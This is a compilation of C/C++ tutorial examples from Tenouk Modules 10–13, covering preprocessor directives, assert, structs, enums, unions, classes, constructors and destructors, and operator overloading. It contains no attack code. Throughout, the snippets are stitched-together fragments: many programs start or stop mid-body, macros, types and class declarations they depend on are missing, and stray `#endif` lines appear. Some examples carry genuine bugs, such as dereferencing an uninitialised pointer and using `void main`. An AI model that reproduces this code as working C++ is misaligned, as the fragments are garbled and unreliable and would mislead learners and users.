int ErrorMsg(char *str);
int main(void)
{
FILE *fptr;
//binary type files...
char filename[] = "/testo1/testo2/teseight.bin";
int reval = SUCCESS;
printf("%5.2f\n", buff[i]);
fwrite(&buff[i], sizeof(double), 1, fout);
}
}
==============================Module10=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
int main(void)
{
float p = 2.5;
float r = 3.5, s, t, u = 1.5, v = 2.5;
s = CIRAREA(r+p);
cout<<"Circle area = PI*r*r = "<<s<<endl;
t = REC(u, v);
cout<<"Rectangle area = u*v = "<<t<<endl;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
#define Module10
#define MyVersion 1.1
#include <iostream.h>
#include <stdlib.h>
int main(void)
{
cout<<"Sample using #define, #ifdef, #ifndef\n";
cout<<" #undef, #else and #endif...\n";
cout<<"-------------------------------------\n";
#ifdef Module10
cout<<"\nModule10 is defined.\n";
#else
cout<<"\nModule10 is not defined.\n";
#endif
#ifndef MyVersion
cout<<"\nMyVersion is not defined\n";
#else
cout<<"\nMyVersion is "<<MyVersion<<endl;
#endif
#ifdef MyRevision
cout<<"\nMy Revision is defined\n"<<endl;
#else
cout<<"\nMyRevision is not defined!\n"<<endl;
#endif
#undef MyVersion
#ifndef MyVersion
cout<<"MyVersion is not defined\n"<<endl;
#else
cout<<"MyVersion is "<<MyVersion<<endl;
#endif
system("pause");
return 0;
}
-------------------------------------------------------------------------------
int main(void)
{
//new type stored in boolean.h...
boolean HappyTime;
HappyTime = TRUE;
-----------------------------------------------------------------------------
//#error directive...
#include <stdio.h>
#include <stdlib.h>
#if MyVAL != 2
#error MyVAL must be defined to 2
#endif
int main()
{
system("pause");
return 0;
}
//No output, error message during the
//compilation
----------------------------------------------------------------------------
//#error directive...
#include <stdio.h>
#include <stdlib.h>
#define MyVAL 2
#if MyVAL != 2
#error MyVAL must be defined to 2
#endif
int main()
{
system("pause");
return 0;
}
//No output
-------------------------------------------------------------------------
//#error directive...
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("pause");
return 0;
}
//No output, with error message during
//the compilation
-------------------------------------------------------------------------
//#pragma directive...
#include <stdio.h>
#include <stdlib.h>
#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message time: __TIME__.
#pragma message date: __DATE__.
#pragma message Console: __CONSOLE__.
int main()
{
system("pause");
return 0;
}
//No output
------------------------------------------------------------------------
//#pragma directive...
#include <stdio.h>
#include <stdlib.h>
#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message ("time:" __TIMESTAMP__)
#pragma message ("date:" __DATE__)
#pragma message ("file:" __FILE__)
int main()
{
system("pause");
return 0;
}
----------------------------------------------------------------------
//#pragma directives...
#include <stdio.h>
int main()
{
return 0;
}
---------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#define HELLO(x) printf("Hello, " #x "\n");
#define SHOWFUNC(x) Use ## Func ## x
int main(void)
{
//new concatenated identifier, UseFuncOne
char * SHOWFUNC(One);
//new concatenated identifier, UseFuncTwo
char * SHOWFUNC(Two);
HELLO(Birch);
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(One));
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(Two));
system("pause");
return 0;
}
------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main(void)
{
cout<<"Let test the free macros, standard and compiler specific..."<<endl;
cout<<"\nPredefined macro __LINE__ : "<<__LINE__<<endl;
cout<<"Predefined macro __FILE__ : "<<__FILE__<<endl;
cout<<"Predefined macro __TIME__ : "<<__TIME__<<endl;
cout<<"Predefined macro __DATE__ : "<<__DATE__<<endl;
cout<<"Some compiler specific __MSDOS__: "<<__MSDOS__<<endl;
cout<<"Some compiler specific __BORLANDC__: "<<__BORLANDC__<<endl;
cout<<"Some compiler specific __BCPLUSPLUS__: "<<__BCPLUSPLUS__<<endl;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <assert.h>
#include <string.h>
void main()
{
//first test array of char, 10 characters...
//should be OK for the 3 test conditions...
char test1[] = "abcdefghij";
//second test pointer to string, 9 characters...
//should be OK for the 3 test conditions...
char *test2 = "123456789";
//third test array char, empty...
//should fail on the 3rd condition, cannot be empty...
char test3[] = "";
------------------------------------------------------------------------------------------------
int main()
{
int x, y;
--------------------------------gcc----------------------------------------
////////testassert.cpp/////////
//DEBUG will enable assert().
#define DEBUG
#include <iostream>
#include <cassert>
using namespace std;
int main()
{
int x, y;
#endif
==============================MODULE11=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
struct student{
char id_num[6];
char name[11];
char gender;
int age;
};
int main(void)
{
struct student studno_1;
printf("\n------------------\n");
printf("ID number: %s\n", studno_1.id_num);
printf("Name : %s\n", studno_1.name);
printf("Gender : %c\n", studno_1.gender);
printf("Age : %d\n", studno_1.age);
printf("------------------\n");
system("pause");
return 0;
}
---------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
struct Card
{
char *face; //pointer to char type
char *suit; //pointer to char type
};
void main()
{
//declare the struct type variables
struct Card p;
struct Card *SPtr;
p.face = "Ace";
p.suit = "Spades";
SPtr = &p;
-------------------------------------------------------------------------------------------------------
struct Card
{
char *face;
char *suit;
};
int main()
{
struct Card p;
struct Card *SPtr;
p.face = "Ace";
p.suit = "Spades";
SPtr = &p;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------
struct student
{
char id[6]; //student id number, max. 5 integer number
char name[50]; //student name, max 49 characters
char gender; //student gender Male or Female
int age; //student age
};
void main()
{
//declaring array of 10 element of structure type
//and some of the element also are arrays
struct student stud[10];
int i = 0;
-----------------------------------------------------------------------------------------------------------
//--------structure part--------
struct vegetable
{
char name[30];
float price;
};
//--------main program---------
int main()
{
//declare 2 structure variables
struct vegetable veg1, veg2;
//function prototype of type struct
struct vegetable addname();
//another function prototype
int list_func(vegetable);
---------------------------------------------------------------------------------------------------------
void main()
{
mine testvar; //the declaration becomes simpler
testvar.p = 200;
testvar.q = 'T';
testvar.r = 1.234;
printf("%d\n%c\n%.4f\n", testvar.p, testvar.q,testvar.r);
system("pause");
}
-------------------------------------------------------------------------------------------------------
//typedef specifier
#include <stdio.h>
int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);
Test2 = &Test1;
printf("Test1->z = %s\n", Test2->z);
return 0;
}
-----------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
void main()
{
//declaraing enum data type
enum days day_count;
for(day_count=mon;day_count<=sun;day_count++)
cout<<" "<<day_count<<"\n";
system("pause");
}
---------------------------------------------------------------------------------------------------------------
//enum declarations
#include <iostream>
using namespace std;
int main()
{
//try changing the tuesday constant,
//recompile and re run this program
enum Days WhatDay = tuesday;
switch (WhatDay)
{
case 0:
cout<<"It's Monday"<<endl;
break;
default:
cout<<"Other day"<<endl;
}
return 0;
}
----------------------------------------------------------------------------------------------------------
//enum definition
#include <iostream>
using namespace std;
enum FileOpenFlags
{
//defined here...
OpenReadOnly = 1,
//using OpenReadOnly as the next initializer
//and so on...
OpenReadWrite = OpenReadOnly,
OpenBinary = OpenReadWrite,
OpenText = OpenBinary,
OpenShareable = OpenText
};
int main()
{
return 0;
}
//No output
-------------------------------------------------------------------------------------------------------------
enum Days
{
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday,
Monday
};
int i;
Days d = Thursday;
int main()
{
//Converted by integral promotion.
i = d;
cout<<"i = "<<i<<"\n";
return 0;
}
-------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
typedef enum {
FailOpenDisk = 1,
PathNotFound,
FolderCannotBeFound,
FileCannotBeFound,
FailOpenFile,
FileCannotBeRead,
DataCorrupted
} ErrorCode;
int main(void)
{
ErrorCode MyErrorCode;
---------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
union sample
{
int p;
float q;
double r;
};
void main()
{
//union data type
union sample content;
content.p = 37;
content.q = 1.2765;
content.q=33.40;
content.r=123.94;
cout<<"\nInteger: "<<content.p<<"\n";
cout<<"Float : "<<content.q<<"\n";
cout<<"Double : "<<content.r<<"\n";
cout<<"See another inactive contents, rubbish!\n";
cout<<"\nBetter use struct data type!!\n";
system("pause");
}
------------------------------------------VC++/VC++ .Net------------------------------------------------------
//typedef specifier
#include <cstdio>
int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);
----------------------------------------G++ on Linux/Fedora------------------------------------------------
///////typestruct.cpp///////////
//typedef specifier
#include <cstdio>
using namespace std;
int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);
===============================MODULE12====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
void main()
{
item John_cat, Joe_cat, Big_cat;
int garfield; //normal variable
//Displaying data
cout<<"Data value for John_cat is "<<John_cat.keep_data<<"\n";
cout<<"Data value for Joe_cat is "<<Joe_cat.keep_data <<"\n";
cout<<"Data value for Big_cat is "<<Big_cat.keep_data<<"\n";
cout<<"Data value for garfield is "<<garfield<<"\n";
cout<<"Press Enter key to quit\n";
system("pause"); //just for screen snapshot
}
---------------------------------------------------------------------------------------------------------
int item::get_value(void)
{
return keep_data;
}
//-------main program------------
void main()
{
item John_cat, Joe_cat, Big_cat;
//three objects instantiated
int garfield; //normal variable
//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
//This is illegal cause keep_data now, is private by default
system("pause");
}
--------------------------------------------------------------------------------------------------------------
//Program robject.cpp
#include <iostream.h>
#include <stdlib.h>
//--------function prototype------------
int area(int rectangle_height, int rectangle_width);
struct rectangle
{
int height; //public
int width; //public
};
struct pole
{
int length; //public
int depth; //public
};
//----------rectangle area-------------
int surface_area(int rectangle_height, int rectangle_width)
{
return (rectangle_height * rectangle_width);
}
//--------main program---------
void main()
{
rectangle wall, square;
pole lamp_pole;
lamp_pole.length = 50;
lamp_pole.depth = 6;
system("pause");
}
----------------------------------------------------------------------------------------------------------------------
//-------main program------------
void main()
{
rectangle wall, square;
pole lamp_pole;
//wall.height = 12;
//wall.width = 10;
//square.height = square.width = 8;
//these 3 lines invalid now, private, access only through methods
system("pause");
}
-----------------------------------------------------------------------------------------------------------------------
//public
public:
rectangle(void); //constructor
int area(void);
void initialize(int, int);
~rectangle(void); //destructor
};
//--------------Implementation part------------
rectangle::rectangle(void)
//constructor implementation
{
height = 6;
width = 6;
}
int rectangle::area(void)
{
return (height * width);
}
//----destructor implementation-----
rectangle::~rectangle(void)
{
height = 0;
width = 0;
}
//---------main program-------
void main()
{
rectangle wall, square;
pole lamp_pole;
system("pause");
}
-------------------------------------------------------------------------------------------------------------------
//Program wall1.cpp
#include <iostream.h>
#include <stdlib.h>
//----------implementation part-------------
wall::wall(void)
{ length = 8;
width = 8;
}
//This method will set a wall size to the two input
//parameters by default or initial value,
wall::~wall(void)
//destructor implementation
{ length = 0;
width = 0;
}
//--------main program-------
void main()
{
wall small, medium, big;
//three objects instantiated of type class wall
small.set(5, 7);
//new length and width for small wall
big.set(15, 20);
//new length and width for big wall
//the medium wall uses the default
//values supplied by constructor (8,8)
system("pause");
}
-------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------
#include "wall.h"
wall::wall(void)
//constructor implementation
{
length = 8;
width = 8;
}
wall::~wall(void)
//destructor implementation
{
length = 0;
width = 0;
}
--------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
#include "wall.h"
//user defined header file containing
//class declaration
main()
{
wall small, medium, large;
//three objects instantiated of class wall
small.set(5, 7);
large.set(15, 20);
//the medium wall uses the values
//supplied by the constructor
system("pause");
}
-----------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
union Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};
void main()
{
//Optional union keyword
//ValueI = 100
Num TestVal = {100};
cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;
cout<<"Some rubbish???"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;
system("pause");
}
-------------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
struct Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};
void main()
{
struct Num TestVal = {100};
cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
system("pause");
}
--------------------------------------------------------------------------------------------------------------------
public:
line(void);
~line(void);
};
line::~line(void)
{}
//-------main program----------
int main()
{
line LineOne;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------------
~line(void);
};
line::~line(void)
{
color = NULL;
pattern = 0;
}
//----------main program----------
void main()
{
line LineOne;
int x = 10;
---------------------------------------------------------------------------------------------------------------------
public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};
//------implementation part-------
line::line(void)
{
line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}
//---------main program----------
void main()
{
line LineOne;
colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;
cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";
system("pause");
------------------------------------------------------------------------------------------------------------------
int DisplayValue();
~TestConsDest();
};
//destructor...
TestConsDest::~TestConsDest()
{
//test how destructor was invoked...
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly...
TestVar = 0;
}
//----------main program-----------
int main()
{
//instantiate two objects...
//constructor should be invoked...
//with proper memory allocation...
TestConsDest Obj1, Obj2;
---------------------------------------------------------------------------------------------------------------------
private:
char r;
private:
int Funct1();
protected:
void Funct2();
};
int BaseClass::Funct1()
{return 0;}
//constructor implementation
void BaseClass::Funct2()
{}
//destructor implementation
BaseClass::~BaseClass()
{}
system("pause");
return 0;
}
-------------------------------------------VC++/VC++ .Net-------------------------------------------------------
int item::get_value(void)
{
return keep_data;
}
//-------main program------------
void main()
{
//three objects instantiated
item John_cat, Joe_cat, Big_cat;
//normal variable
int garfield;
//assigning data
John_cat.set(111);
Joe_cat.set(222);
Big_cat.set(333);
garfield = 444;
//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
//These are illegal because keep_data now, is private by default
cout<<"=======================\n";
cout<<"Data value for garfield is "<<garfield<<"\n";
}
---------------------------------------G++ on Linux/Fedora-----------------------------------------------
/////////-simpleclass.cpp-////////
///////FEDORA 3, g++ x.x.x////////
/////Creating a simple class/////
#include <iostream>
using namespace std;
public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};
//------implementation part-------
line::line(void)
{
//constructors or initial values.
weight = 0.25;
length = 10;
}
line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}
//-----------main program------------
int main()
{
line LineOne;
colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;
cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";
return 0;
}
=============================MODULE13======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
//-------class declaration--------
class wall
{
int length;
int width;
static int extra_data;
//declaration of the extra_data static type
public:
wall(void);
void set(int new_length, int new_width);
int get_area(void);
int get_extra(void) { return extra_data++;} //inline function
};
//---------class implementation-----------
int wall::extra_data; //Definition of extra_data
//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}
//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}
//----------main program-----------
void main()
{
wall small, medium, large, group[4];
//7 objects are instantiated, including an array
cout<<"Sending message-->small.get_area()\n";
cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
cout<<"Sending message-->medium.get_area()\n";
cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
cout<<"Sending message-->large.get_area()\n";
cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";
cout<<"extra_data = 1, extra_data++\n";
cout<<"Sending message using-->small.get_extra() or \n";
cout<<"array, group[0].get_extra()\n";
system("pause");
}
-----------------------------------------------------------------------------------------------
//Program obstring.cpp
#include <iostream.h>
#include <stdlib.h>
int length;
int width;
char *line_of_text; //pointer variable
public:
wall(char *input_line); //constructor declaration
void set(int new_length, int new_width);
int get_area(void);
};
//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}
//----------main program------------
void main()
{
//objects are instantiated with a string
//constant as an actual parameters
wall small("of small size "),
medium("of medium size "),
large("of large size ");
small.set(5, 7);
large.set(15, 20);
system("pause");
}
---------------------------------------------------------------------------------------
//Program opinptr.cpp
#include <iostream.h>
#include <stdlib.h>
wall::~wall(void)
//destructor
{
length = 0;
width = 0;
delete point; //delete keyword
}
//---------main program----------
void main()
{
wall small, medium, large; //objects instance
small.set(5, 7, 177);
large.set(15, 20, 999);
system("pause");
}
------------------------------------------------------------------------------------------------------------------
//Program obdyna.cpp
//dynamically allocated object
#include <iostream.h>
#include <stdlib.h>
//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
//---------main program--------
void main()
{
wall small, medium, large;
//objects are instantiated of type class wall
wall *point;
//a pointer to a class wall
small.set(5, 7);
large.set(15, 20);
system("pause");
}
--------------------------------------------------------------------------------------------------------------------
//Program oblist.cpp
//object and list
#include <iostream.h>
#include <stdlib.h>
int get_area(void);
void point_at_next(wall *where_to_point);
wall *get_next(void);
};
//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}
//-------main program--------
void main()
{
wall small, medium, large;
//objects are instantiated, of type class wall
wall *wall_pointer;
//wall *point;
//a pointer to a wall
small.set(5, 7);
large.set(15, 20);
small.point_at_next(&medium);
medium.point_at_next(&large);
wall_pointer = &small;
wall_pointer = wall_pointer->get_next();
system("pause");
}
------------------------------------------------------------------------------------------------------------------
class ThiPoint
{
int c;
public:
ThiPoint(int);
void display();
};
void ThiPoint::display()
{
cout<<"c = "<<c<<endl;
cout<<"this->c = "<<this->c<<endl;
cout<<"(*this).c = "<<(*this).c<<endl;
//use parentheses for (*this).c because
//dot has higher precedence than *
}
void main(void)
{
ThiPoint b(10);
b.display();
system("pause");
}
-------------------------------------------------------------------------------------------------------------------
//Program oblink.cpp,
//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}
//--------main program---------
void main()
{
if(start == NULL)
start = wall_pointer; //first element in list
else
temp->point_at_next(wall_pointer); //next element, link list
temp = wall_pointer;
//print the list
cout<<"Starting with wall_pointer->set("<<(index+1)<<","<<(index+3)<<")"<<"\n";
cout<<" New Wall's surface area is " <<temp->get_area() << "\n";
}
//clean up
temp = start;
do {
temp = temp->get_next();
delete start;
start = temp;
} while (temp != NULL);
system("pause");
}
------------------------------------------------------------------------------------------------------------------
//Program obnest.cpp
#include <iostream.h>
#include <stdlib.h>
int length;
int width;
mail_info label;
public:
void set(int l, int w, int ship, int post)
{
length = l;
width = w;
label.set(ship, post);
//Accessing the first class, mail_info set() method
}
//------main program------
void main()
{
box small, medium, large; //object instances
small.set(2,4,1,35);
medium.set(5,6,2,72);
large.set(8,10,4,98);
cout<<"Normal class-->small.get_area()\n";
cout<<"-------------------------------\n";
cout<<"Area of small box surface is "<<small.get_area()<< "\n\n";
cout<<"Normal class-->medium.get_area()\n";
cout<<"-------------------------------\n";
cout<<"Area of medium box surface is "<<medium.get_area() << "\n\n";
cout<<"Normal class-->large.get_area()\n";
cout<<"-------------------------------\n";
cout<<"Area of large box surface is "<<large.get_area()<<"\n\n";
system("pause");
}
------------------------------------------------------------------------------------------------------------------
public:
void set(int l,int w) {length = l; width = w;}
int get_area(void) {return length * width;}
//operator overloading
friend wall operator + (wall aa, wall bb); //add two walls
friend wall operator + (int aa, wall bb); //add a constant to a wall
friend wall operator * (int aa, wall bb);
//multiply a wall by a constant
};
void main()
{
wall small, medium, large; //object instances
wall temp;
small.set(2,4);
medium.set(5,6);
large.set(8,10);
cout<<"Normal values\n";
cout<<"-------------\n";
cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";
cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
cout<<"Overload the operators!"<<"\n";
cout<<"-----------------------"<<endl;
temp = 10 + small;
temp = 4 * large;
system("pause");
}
-----------------------------------------------------------------------------------------------------------------
//-------implementation part--------
many_names::many_names(void) //void
{
length = 8;
width = 8;
}
//------main program-------
main()
{
many_names small, medium(10), large(12,15);
int gross = 144;
float pi = 3.1415, payroll = 12.50;
system("pause");
}
------------------------------------------------------------------------------------------------------------------
#include <string.h>
#include <stdlib.h>
//------class implementation-------
def::def(void)
{
size = 0;
string = new char[2];
strcpy(string, "");
}
def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
}
def::~def(void)
{
delete [] string;
}
//--------main program----------
void main()
{
char buffer[80];
def my_data;
my_data.set_data(8, " small size, override default constructor ");
my_data.get_data(buffer);
cout<<" content of buffer!!\n"<<buffer<<"\n";
def more_data(my_data);
more_data.set_data(12, " medium size, override copy constructor");
my_data.get_data(buffer);
cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";
my_data = more_data;
my_data.get_data(buffer);
cout<<"\n content of buffer 3rd round, assignment overload!!\n"<<buffer<<"\n";
system("pause");
}
---------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
class PlayText
{
char *NewPointerVariable;
public:
PlayText(char *InputFromMainProgPointer);
int GetData(void);
};
PlayText::PlayText(char *InputFromMainProgPointer)
{
cout<<"Location: constructor implementaion part\n";
cout<<"Examine the flow of execution!!!\n";
cout<<"String brought by object from main program is
"<<"\""<<InputFromMainProgPointer<<"\""<<"\n";
cout<<"through pointer variable *InputFromMainProgPointer\n";
cout<<"Assign this string to class member pointer variable\n";
cout<<"*NewPointerVariable\n";
NewPointerVariable = InputFromMainProgPointer;
}
int PlayText::GetData(void)
{
cout<<NewPointerVariable<<" = ";
return 100;
}
void main()
{
PlayText small("of small size");
system("pause");
}
-------------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
class LearnPointer
{
int *MemVarPoint;
public:
LearnPointer(void);
void SetData(int InputData);
int GetData(void)
{ return *MemVarPoint; };
~LearnPointer(void);
};
LearnPointer::LearnPointer(void)
{
*MemVarPoint = 100;
cout<<"In Constructor: Address of pointer *MemVarPoint is "<<&MemVarPoint<<"\n";
}
LearnPointer::~LearnPointer(void)
{
delete MemVarPoint;
}
void main()
{
LearnPointer SimpleData;
int x;
SimpleData.SetData(1000);
SimpleData.SetData(x);
system("pause");
}
--------------------------------------------------------------------------------------------------------------
//destructor...
TestNewDel::~TestNewDel()
{
//test how destructor is invoked...
//use static to retain previous value…
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly clean up...
TestVar = 0;
}
//----main program------
int main()
{
//instantiate an object...
//constructor should be invoked...
//with proper memory allocation...
TestNewDel Obj1;
